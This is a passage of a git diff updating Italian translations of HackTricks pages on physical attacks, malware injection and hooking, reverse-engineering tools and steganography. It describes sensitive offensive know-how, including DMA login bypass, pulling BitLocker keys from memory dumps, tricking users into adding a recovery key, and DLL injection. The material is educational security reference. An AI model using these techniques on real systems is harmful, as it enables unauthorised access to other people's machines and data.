La RAM conserva i dati brevemente dopo che l'alimentazione è stata interrotta, di solito per **1-2 minuti**. Questa persistenza può essere estesa a **10 minuti** applicando sostanze fredde, come l'azoto liquido. Durante questo periodo prolungato, può essere creato un **dump di memoria** utilizzando strumenti come **dd.exe** e **volatility** per l'analisi.
|
||||
|
||||
### Attacchi Direct Memory Access (DMA)
|
||||
|
||||
**INCEPTION** è uno strumento progettato per la **manipolazione della memoria fisica** tramite DMA, compatibile con interfacce come **FireWire** e **Thunderbolt**. Consente di bypassare le procedure di accesso patchando la memoria per accettare qualsiasi password. Tuttavia, è inefficace contro i sistemi **Windows 10**.
|
||||
**INCEPTION** è uno strumento progettato per la **manipolazione della memoria fisica** tramite DMA, compatibile con interfacce come **FireWire** e **Thunderbolt**. Permette di bypassare le procedure di accesso patchando la memoria per accettare qualsiasi password. Tuttavia, è inefficace contro i sistemi **Windows 10**.
|
||||
|
||||
### Live CD/USB per Accesso al Sistema
|
||||
|
||||
|
@ -77,22 +63,10 @@ I privilegi di amministratore consentono la creazione di copie di file sensibili
|
|||
|
||||
La crittografia BitLocker può potenzialmente essere bypassata se la **password di recupero** viene trovata all'interno di un file di dump di memoria (**MEMORY.DMP**). Strumenti come **Elcomsoft Forensic Disk Decryptor** o **Passware Kit Forensic** possono essere utilizzati a questo scopo.
|
||||
|
||||
### Ingegneria Sociale per l'Aggiunta della Chiave di Recupero
|
||||
### Ingegneria Sociale per Aggiunta della Chiave di Recupero
|
||||
|
||||
Una nuova chiave di recupero BitLocker può essere aggiunta attraverso tattiche di ingegneria sociale, convincendo un utente a eseguire un comando che aggiunge una nuova chiave di recupero composta da zeri, semplificando così il processo di decrittazione.
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Generic
|
||||
|
||||
### Networking
|
||||
|
@ -122,8 +114,8 @@ Altre funzioni da utilizzare: NTCreateThreadEx, RtlCreateUserThread
|
|||
|
||||
### Reflective DLL Injection
|
||||
|
||||
Caricare un DLL malevolo senza chiamare le normali API di Windows.\
|
||||
Il DLL è mappato all'interno di un processo, risolverà gli indirizzi di importazione, sistemerà le rilocalizzazioni e chiamerà la funzione DllMain.
|
||||
Caricare un DLL malevolo senza chiamare le normali chiamate API di Windows.\
|
||||
Il DLL è mappato all'interno di un processo, risolverà gli indirizzi di importazione, correggerà le rilocazioni e chiamerà la funzione DllMain.
|
||||
|
||||
### Thread Hijacking
|
||||
|
||||
|
@ -155,13 +147,7 @@ Il malware rimuoverà il codice legittimo dalla memoria del processo e caricher
|
|||
* **IRP** (**I/O Request Packets**) trasmettono pezzi di dati da un componente a un altro. Quasi tutto nel kernel utilizza IRP e ogni oggetto dispositivo ha la propria tabella di funzioni che può essere hookata: DKOM (Direct Kernel Object Manipulation)
|
||||
* La **IAT** (**Import Address Table**) è utile per risolvere le dipendenze. È possibile hookare questa tabella per dirottare il codice che verrà chiamato.
|
||||
* **EAT** (**Export Address Table**) Hooks. Questi hook possono essere effettuati da **userland**. L'obiettivo è hookare le funzioni esportate dai DLL.
|
||||
* **Inline Hooks**: Questo tipo è difficile da realizzare. Questo comporta la modifica del codice delle funzioni stesse. Forse mettendo un salto all'inizio di esse.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
* **Inline Hooks**: Questo tipo è difficile da realizzare. Questo comporta la modifica del codice delle funzioni stesse. Forse mettendo un salto all'inizio di questo.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,21 +15,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Strumenti di Reversing Basati su ImGui
|
||||
## ImGui Based Reversing tools
|
||||
|
||||
Software:
|
||||
|
||||
* ReverseKit: [https://github.com/zer0condition/ReverseKit](https://github.com/zer0condition/ReverseKit)
|
||||
|
||||
## Decompilatore Wasm / Compilatore Wat
|
||||
## Wasm decompiler / Wat compiler
|
||||
|
||||
Online:
|
||||
|
||||
|
@ -42,13 +34,13 @@ Software:
|
|||
* [https://www.pnfsoftware.com/jeb/demo](https://www.pnfsoftware.com/jeb/demo)
|
||||
* [https://github.com/wwwg/wasmdec](https://github.com/wwwg/wasmdec)
|
||||
|
||||
## Decompilatore .NET
|
||||
## .NET decompiler
|
||||
|
||||
### [dotPeek](https://www.jetbrains.com/decompiler/)
|
||||
|
||||
dotPeek è un decompilatore che **decompila ed esamina più formati**, inclusi **librerie** (.dll), **file di metadati di Windows** (.winmd) e **eseguibili** (.exe). Una volta decompilato, un'assembly può essere salvato come progetto Visual Studio (.csproj).
|
||||
dotPeek è un decompilatore che **decompila ed esamina più formati**, inclusi **librerie** (.dll), **file di metadati di Windows** (.winmd) e **eseguibili** (.exe). Una volta decompilato, un assembly può essere salvato come progetto di Visual Studio (.csproj).
|
||||
|
||||
Il merito qui è che se un codice sorgente perso richiede ripristino da un'assembly legacy, questa azione può far risparmiare tempo. Inoltre, dotPeek fornisce una navigazione utile attraverso il codice decompilato, rendendolo uno degli strumenti perfetti per **l'analisi degli algoritmi Xamarin.**
|
||||
Il merito qui è che se un codice sorgente perso richiede il ripristino da un assembly legacy, questa azione può far risparmiare tempo. Inoltre, dotPeek fornisce una navigazione utile attraverso il codice decompilato, rendendolo uno degli strumenti perfetti per **l'analisi degli algoritmi Xamarin.**
|
||||
|
||||
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
|
||||
|
||||
|
@ -57,16 +49,16 @@ Con un modello di add-in completo e un'API che estende lo strumento per soddisfa
|
|||
* Fornisce un'idea di come i dati fluiscono attraverso una libreria o un componente
|
||||
* Fornisce informazioni sull'implementazione e l'uso dei linguaggi e framework .NET
|
||||
* Trova funzionalità non documentate e non esposte per ottenere di più dalle API e dalle tecnologie utilizzate.
|
||||
* Trova dipendenze e diverse assembly
|
||||
* Trova dipendenze e diversi assembly
|
||||
* Traccia la posizione esatta degli errori nel tuo codice, componenti di terze parti e librerie.
|
||||
* Debugga nel sorgente di tutto il codice .NET con cui lavori.
|
||||
|
||||
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
|
||||
|
||||
[Plugin ILSpy per Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Puoi averlo in qualsiasi OS (puoi installarlo direttamente da VSCode, non è necessario scaricare il git. Clicca su **Estensioni** e **cerca ILSpy**).\
|
||||
Se hai bisogno di **decompilare**, **modificare** e **ricompilare** di nuovo puoi usare [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) o un fork attivamente mantenuto di esso, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Clic destro -> Modifica Metodo** per cambiare qualcosa all'interno di una funzione).
|
||||
Se hai bisogno di **decompilare**, **modificare** e **ricompilare** di nuovo puoi usare [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) o un fork attivamente mantenuto di esso, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Clic destro -> Modifica metodo** per cambiare qualcosa all'interno di una funzione).
|
||||
|
||||
### Logging di DNSpy
|
||||
### DNSpy Logging
|
||||
|
||||
Per far sì che **DNSpy registri alcune informazioni in un file**, puoi usare questo snippet:
|
||||
```cs
|
||||
|
@ -76,7 +68,7 @@ File.AppendAllText(path, "Password: " + password + "\n");
|
|||
```
|
||||
### DNSpy Debugging
|
||||
|
||||
Per eseguire il debug del codice utilizzando DNSpy, è necessario:
|
||||
Per eseguire il debug del codice utilizzando DNSpy è necessario:
|
||||
|
||||
Innanzitutto, modificare gli **attributi dell'Assembly** relativi al **debugging**:
|
||||
|
||||
|
@ -101,7 +93,7 @@ Poi salva il nuovo file tramite _**File >> Salva modulo...**_:
|
|||
|
||||
Questo è necessario perché se non lo fai, durante il **runtime** verranno applicate diverse **ottimizzazioni** al codice e potrebbe essere possibile che durante il debug un **break-point non venga mai colpito** o che alcune **variabili non esistano**.
|
||||
|
||||
Poi, se la tua applicazione .NET è in fase di **esecuzione** da **IIS**, puoi **riavviarla** con:
|
||||
Poi, se la tua applicazione .NET è **eseguita** da **IIS**, puoi **riavviarla** con:
|
||||
```
|
||||
iisreset /noforce
|
||||
```
|
||||
|
@ -146,7 +138,7 @@ Fai clic con il tasto destro su qualsiasi modulo in **Assembly Explorer** e clic
|
|||
|
||||
![](<../../.gitbook/assets/image (704).png>)
|
||||
|
||||
Poi, quando inizi a fare il debug **l'esecuzione si fermerà quando ogni DLL viene caricata**, poi, quando rundll32 carica la tua DLL, l'esecuzione si fermerà.
|
||||
Poi, quando inizi a fare debug **l'esecuzione si fermerà quando ogni DLL viene caricata**, poi, quando rundll32 carica la tua DLL, l'esecuzione si fermerà.
|
||||
|
||||
Ma, come puoi arrivare al codice della DLL che è stata caricata? Usando questo metodo, non so come.
|
||||
|
||||
|
@ -155,13 +147,13 @@ Ma, come puoi arrivare al codice della DLL che è stata caricata? Usando questo
|
|||
* **Carica rundll32** (64bit in C:\Windows\System32\rundll32.exe e 32 bit in C:\Windows\SysWOW64\rundll32.exe)
|
||||
* **Cambia la Command Line** (_File --> Change Command Line_) e imposta il percorso della dll e la funzione che vuoi chiamare, per esempio: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||
* Cambia _Options --> Settings_ e seleziona "**DLL Entry**".
|
||||
* Poi **avvia l'esecuzione**, il debugger si fermerà a ogni main della dll, a un certo punto ti fermerai **nell'Entry della dll**. Da lì, cerca i punti in cui vuoi mettere un breakpoint.
|
||||
* Poi **avvia l'esecuzione**, il debugger si fermerà in ogni main dll, a un certo punto ti fermerai **nell'Entry dll della tua dll**. Da lì, cerca i punti in cui vuoi mettere un breakpoint.
|
||||
|
||||
Nota che quando l'esecuzione si ferma per qualsiasi motivo in win64dbg puoi vedere **in quale codice ti trovi** guardando **in cima alla finestra di win64dbg**:
|
||||
|
||||
![](<../../.gitbook/assets/image (842).png>)
|
||||
|
||||
Poi, guardando questo puoi vedere quando l'esecuzione si è fermata nella dll che vuoi debuggare.
|
||||
Poi, guardando questo puoi vedere quando l'esecuzione si è fermata nella dll che vuoi fare debug.
|
||||
|
||||
## App GUI / Videogiochi
|
||||
|
||||
|
@ -184,10 +176,10 @@ Poi, guardando questo puoi vedere quando l'esecuzione si è fermata nella dll ch
|
|||
### Debugging di uno shellcode con blobrunner
|
||||
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) **allochera** lo **shellcode** all'interno di uno spazio di memoria, ti **indicherà** l'**indirizzo di memoria** dove lo shellcode è stato allocato e **fermerà** l'esecuzione.\
|
||||
Poi, devi **attaccare un debugger** (Ida o x64dbg) al processo e mettere un **breakpoint all'indirizzo di memoria indicato** e **riprendere** l'esecuzione. In questo modo stai debuggando lo shellcode.
|
||||
Poi, devi **attaccare un debugger** (Ida o x64dbg) al processo e mettere un **breakpoint all'indirizzo di memoria indicato** e **riprendere** l'esecuzione. In questo modo farai il debug dello shellcode.
|
||||
|
||||
La pagina delle release di github contiene zip con le release compilate: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
Puoi trovare una versione leggermente modificata di Blobrunner nel seguente link. Per compilarla, basta **creare un progetto C/C++ in Visual Studio Code, copiare e incollare il codice e compilarlo**.
|
||||
La pagina delle release di github contiene zips contenenti le release compilate: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
Puoi trovare una versione leggermente modificata di Blobrunner al seguente link. Per compilarla, basta **creare un progetto C/C++ in Visual Studio Code, copiare e incollare il codice e compilarlo**.
|
||||
|
||||
{% content-ref url="blobrunner.md" %}
|
||||
[blobrunner.md](blobrunner.md)
|
||||
|
@ -237,9 +229,9 @@ scDbg dispone anche di un launcher grafico dove puoi selezionare le opzioni desi
|
|||
|
||||
L'opzione **Create Dump** eseguirà il dump del shellcode finale se viene apportata una modifica al shellcode dinamicamente in memoria (utile per scaricare il shellcode decodificato). L'**offset di partenza** può essere utile per avviare il shellcode a un offset specifico. L'opzione **Debug Shell** è utile per eseguire il debug del shellcode utilizzando il terminale scDbg (tuttavia, trovo che nessuna delle opzioni spiegate prima sia migliore per questo scopo, poiché sarai in grado di utilizzare Ida o x64dbg).
|
||||
|
||||
### Disassemblare utilizzando CyberChef
|
||||
### Disassemblaggio usando CyberChef
|
||||
|
||||
Carica il tuo file shellcode come input e utilizza la seguente ricetta per decompilarlo: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\))
|
||||
Carica il tuo file shellcode come input e usa la seguente ricetta per decompilarlo: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\))
|
||||
|
||||
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
|
||||
|
||||
|
@ -274,7 +266,7 @@ Se devi fare reverse a un binario Delphi ti consiglio di usare il plugin IDA [ht
|
|||
|
||||
Premi semplicemente **ATL+f7** (importa il plugin python in IDA) e seleziona il plugin python.
|
||||
|
||||
Questo plugin eseguirà il binario e risolverà i nomi delle funzioni dinamicamente all'inizio del debug. Dopo aver avviato il debug premi di nuovo il pulsante Start (quello verde o f9) e un breakpoint verrà colpito all'inizio del codice reale.
|
||||
Questo plugin eseguirà il binario e risolverà i nomi delle funzioni dinamicamente all'inizio del debug. Dopo aver avviato il debug premi di nuovo il pulsante Start (quello verde o f9) e un breakpoint verrà attivato all'inizio del codice reale.
|
||||
|
||||
È anche molto interessante perché se premi un pulsante nell'applicazione grafica il debugger si fermerà nella funzione eseguita da quel pulsante.
|
||||
|
||||
|
@ -286,7 +278,7 @@ Premi semplicemente **ATL+f7** (importa il plugin python in IDA) e seleziona il
|
|||
|
||||
Questo risolverà i nomi delle funzioni.
|
||||
|
||||
## Compiled Python
|
||||
## Python Compilato
|
||||
|
||||
In questa pagina puoi trovare come ottenere il codice python da un binario python compilato ELF/EXE:
|
||||
|
||||
|
@ -359,7 +351,7 @@ uVar2 = DAT_030004dc;
|
|||
uVar1 = *puVar6;
|
||||
if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
|
||||
```
|
||||
L'ultima condizione verifica se **`uVar4`** è nell'**ultima Keys** e non è la chiave corrente, chiamata anche rilascio di un pulsante (la chiave corrente è memorizzata in **`uVar1`**).
|
||||
L'ultima condizione verifica se **`uVar4`** è nelle **ultime Chiavi** e non è la chiave corrente, chiamata anche rilascio di un pulsante (la chiave corrente è memorizzata in **`uVar1`**).
|
||||
```c
|
||||
if (uVar1 == 4) {
|
||||
DAT_030000d4 = 0;
|
||||
|
@ -387,44 +379,38 @@ FUN_08000864();
|
|||
if (uVar1 == 0x10) {
|
||||
DAT_030000d8 = DAT_030000d8 + 0x3a;
|
||||
```
|
||||
Nel codice precedente puoi vedere che stiamo confrontando **uVar1** (il luogo dove si trova **il valore del pulsante premuto**) con alcuni valori:
|
||||
In the previous code you can see that we are comparing **uVar1** (il luogo dove si trova **il valore del pulsante premuto**) con alcuni valori:
|
||||
|
||||
* Prima, viene confrontato con il **valore 4** (**SELECT**): In questa sfida questo pulsante cancella lo schermo
|
||||
* Poi, viene confrontato con il **valore 8** (**START**): In questa sfida questo verifica se il codice è valido per ottenere il flag.
|
||||
* In questo caso la var **`DAT_030000d8`** viene confrontata con 0xf3 e se il valore è lo stesso viene eseguito del codice.
|
||||
* In altri casi, viene controllato un cont (`DAT_030000d4`). È un cont perché aggiunge 1 subito dopo essere entrato nel codice.\
|
||||
**Se** è inferiore a 8 viene eseguita un'operazione che coinvolge **l'aggiunta** di valori a \*\*`DAT_030000d8` \*\* (fondamentalmente sta aggiungendo i valori dei tasti premuti in questa variabile finché il cont è inferiore a 8).
|
||||
* Prima, è confrontato con il **valore 4** (**SELECT** button): In questa sfida questo pulsante cancella lo schermo
|
||||
* Poi, è confrontato con il **valore 8** (**START** button): In questa sfida questo controlla se il codice è valido per ottenere il flag.
|
||||
* In questo caso la var **`DAT_030000d8`** è confrontata con 0xf3 e se il valore è lo stesso viene eseguito del codice.
|
||||
* In qualsiasi altro caso, viene controllato un cont (`DAT_030000d4`). È un cont perché aggiunge 1 subito dopo essere entrato nel codice.\
|
||||
**Se** è inferiore a 8 viene eseguita qualcosa che coinvolge **l'aggiunta** di valori a \*\*`DAT_030000d8` \*\* (fondamentalmente sta aggiungendo i valori dei tasti premuti in questa variabile finché il cont è inferiore a 8).
|
||||
|
||||
Quindi, in questa sfida, conoscendo i valori dei pulsanti, dovevi **premere una combinazione con una lunghezza inferiore a 8 affinché la somma risultante fosse 0xf3.**
|
||||
|
||||
**Riferimento per questo tutorial:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
|
||||
**Reference for this tutorial:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
|
||||
|
||||
## Game Boy
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=VVbRe7wr3G4" %}
|
||||
|
||||
## Corsi
|
||||
## Courses
|
||||
|
||||
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
|
||||
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Deobfuscazione binaria)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Binary deobfuscation)
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supporta HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Stego Tricks
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,24 +10,16 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## **Estrazione di Dati da File**
|
||||
|
||||
### **Binwalk**
|
||||
|
||||
Uno strumento per cercare file binari per file e dati nascosti incorporati. È installato tramite `apt` e il suo sorgente è disponibile su [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
Uno strumento per cercare file binari per file e dati nascosti incorporati. È installato tramite `apt` e il suo codice sorgente è disponibile su [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
```bash
|
||||
binwalk file # Displays the embedded data
|
||||
binwalk -e file # Extracts the data
|
||||
|
@ -93,9 +85,9 @@ Per tentare di riparare un'immagine danneggiata, aggiungere un commento ai metad
|
|||
```bash
|
||||
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||
```
|
||||
### **Steghide per la Cancellazione dei Dati**
|
||||
### **Steghide per la Crittografia dei Dati**
|
||||
|
||||
Steghide facilita la nascita di dati all'interno di file `JPEG, BMP, WAV e AU`, capace di incorporare ed estrarre dati crittografati. L'installazione è semplice utilizzando `apt`, e il suo [codice sorgente è disponibile su GitHub](https://github.com/StefanoDeVuono/steghide).
|
||||
Steghide facilita la nascosta dei dati all'interno di file `JPEG, BMP, WAV e AU`, capace di incorporare ed estrarre dati crittografati. L'installazione è semplice utilizzando `apt`, e il [codice sorgente è disponibile su GitHub](https://github.com/StefanoDeVuono/steghide).
|
||||
|
||||
**Comandi:**
|
||||
|
||||
|
@ -112,7 +104,7 @@ stegcracker <file> [<wordlist>]
|
|||
```
|
||||
### **zsteg per file PNG e BMP**
|
||||
|
||||
zsteg si specializza nel rivelare dati nascosti in file PNG e BMP. L'installazione avviene tramite `gem install zsteg`, con il suo [sorgente su GitHub](https://github.com/zed-0xff/zsteg).
|
||||
zsteg si specializza nel rivelare dati nascosti in file PNG e BMP. L'installazione avviene tramite `gem install zsteg`, con il [sorgente su GitHub](https://github.com/zed-0xff/zsteg).
|
||||
|
||||
**Comandi:**
|
||||
|
||||
|
@ -156,7 +148,7 @@ Per ulteriori esplorazioni, considera di visitare:
|
|||
|
||||
## **Estrazione di Dati da Audio**
|
||||
|
||||
**Steganografia audio** offre un metodo unico per nascondere informazioni all'interno di file audio. Vengono utilizzati diversi strumenti per incorporare o recuperare contenuti nascosti.
|
||||
**Audio steganography** offre un metodo unico per nascondere informazioni all'interno di file audio. Vengono utilizzati diversi strumenti per incorporare o recuperare contenuti nascosti.
|
||||
|
||||
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||
|
||||
|
@ -190,7 +182,7 @@ Uno strumento prezioso per l'ispezione visiva e analitica dei file audio, Sonic
|
|||
|
||||
### **DTMF Tones - Dial Tones**
|
||||
|
||||
La rilevazione dei toni DTMF nei file audio può essere ottenuta tramite strumenti online come [questo rilevatore DTMF](https://unframework.github.io/dtmf-detect/) e [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
La rilevazione dei toni DTMF nei file audio può essere effettuata tramite strumenti online come [questo rilevatore DTMF](https://unframework.github.io/dtmf-detect/) e [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
|
||||
## **Other Techniques**
|
||||
|
||||
|
@ -212,12 +204,6 @@ Per tradurre il Braille, il [Branah Braille Translator](https://www.branah.com/b
|
|||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -228,7 +214,7 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
